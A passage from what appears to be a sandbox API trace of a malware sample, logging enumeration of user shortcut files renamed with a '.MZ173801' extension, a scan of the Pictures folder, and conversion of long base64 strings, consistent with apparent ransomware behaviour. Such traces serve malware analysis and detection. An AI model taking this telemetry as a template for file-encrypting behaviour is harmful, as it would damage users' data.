ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4a0be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99c50040, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x26b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="w0uRZSuowOKzyGbEL2.lnk.MZ173801", cAlternateFileName="W0URZS~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf23f5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf23f5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99c761a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa9a, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="wb3dJsVzJYFX6zhDznM.lnk.MZ173801", cAlternateFileName="WB3DJS~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf774600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf774600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99c9c300, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WBa20XpzpXs6n.lnk.MZ173801", cAlternateFileName="WBA20X~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf28b8a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf28b8a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99ce85c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xec5, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WgTFso5.lnk.MZ173801", cAlternateFileName="WGTFSO~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef91d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb9ec80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99ce85c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x339, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WLYZZoP9DJKT.lnk.MZ173801", cAlternateFileName="WLYZZO~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf349f80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf349f80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99d0e720, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WpdE.lnk.MZ173801", cAlternateFileName="WPDELN~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf539160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf539160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99d5a9e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WSc xO6G.lnk.MZ173801", cAlternateFileName="WSCXO6~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde5e63c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde5e63c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99d80b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x207d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="x1uxAwp3IE.lnk.MZ173801", cAlternateFileName="X1UXAW~1.MZ1")) returned 1 [0122.619] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde60c520, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde60c520, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99da6ca0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="xeExJTwHbKu_Pw0kKC.lnk.MZ173801", cAlternateFileName="XEEXJT~1.MZ1")) returned 1 [0122.619] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa6e180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa6e180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99dcce00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="XHVOZ5Eqp.lnk.MZ173801", cAlternateFileName="XHVOZ5~1.MZ1")) returned 1 [0122.619] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc834c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc834c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99df2f60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="XLS81S1HBOf.lnk.MZ173801", cAlternateFileName="XLS81S~1.MZ1")) returned 1 [0122.619] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd85c6a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd85c6a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99e190c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x20eb, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="XM-FeXb2tPl1aiPGuzhK.lnk.MZ173801", cAlternateFileName="XM-FEX~1.MZ1")) returned 1 [0122.619] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4f0700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd4f0700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99e3f220, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="y5eBohnxQAn_O2h.lnk.MZ173801", cAlternateFileName="Y5EBOH~1.MZ1")) returned 1 [0122.619] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9ea8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde9ea8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99e65380, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x19df, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="YAtfhQEWa9d9.lnk.MZ173801", cAlternateFileName="YATFHQ~1.MZ1")) returned 1 [0122.619] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf265740, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf265740, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99e8b4e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="YgiFg.lnk.MZ173801", cAlternateFileName="YGIFGL~1.MZ1")) returned 1 [0122.619] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.619] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.620] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9ea8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99eb1640, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1365, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="_bUsoF-1OZB 3IZ4.lnk.MZ173801", cAlternateFileName="_BUSOF~1.MZ1")) returned 1 [0122.620] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.620] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.620] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf643b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf643b00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99efd900, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xef1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="_lWh-UgZnqS4ctet.lnk.MZ173801", cAlternateFileName="_LWH-U~1.MZ1")) returned 1 [0122.620] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.620] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.620] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf728340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99f23a60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="_QGlcVYKYQv4WkAR3e5.lnk.MZ173801", cAlternateFileName="_QGLCV~1.MZ1")) returned 1 [0122.620] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.620] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.620] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf728340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99f23a60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="_QGlcVYKYQv4WkAR3e5.lnk.MZ173801", cAlternateFileName="_QGLCV~1.MZ1")) returned 0 [0122.620] GetLastError () returned 0x12 [0122.620] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0122.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0122.622] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures")) returned 0x11 [0122.622] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0122.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xda4e2ae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda4e2ae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0122.622] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xda4e2ae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda4e2ae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0122.623] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7077b640, ftCreationTime.dwHighDateTime=0x1d5dfa1, ftLastAccessTime.dwLowDateTime=0x95fdb400, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x95fdb400, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x16aab, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="4WaQPnQL8V4OHzH6IhlG.bmp", cAlternateFileName="4WAQPN~1.BMP")) returned 1 [0122.623] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0122.623] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4WaQPnQL8V4OHzH6IhlG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4waqpnql8v4ohzh6ihlg.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7077b640, ftCreationTime.dwHighDateTime=0x1d5dfa1, ftLastAccessTime.dwLowDateTime=0x95fdb400, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x95fdb400, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x16aab)) returned 1 [0122.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q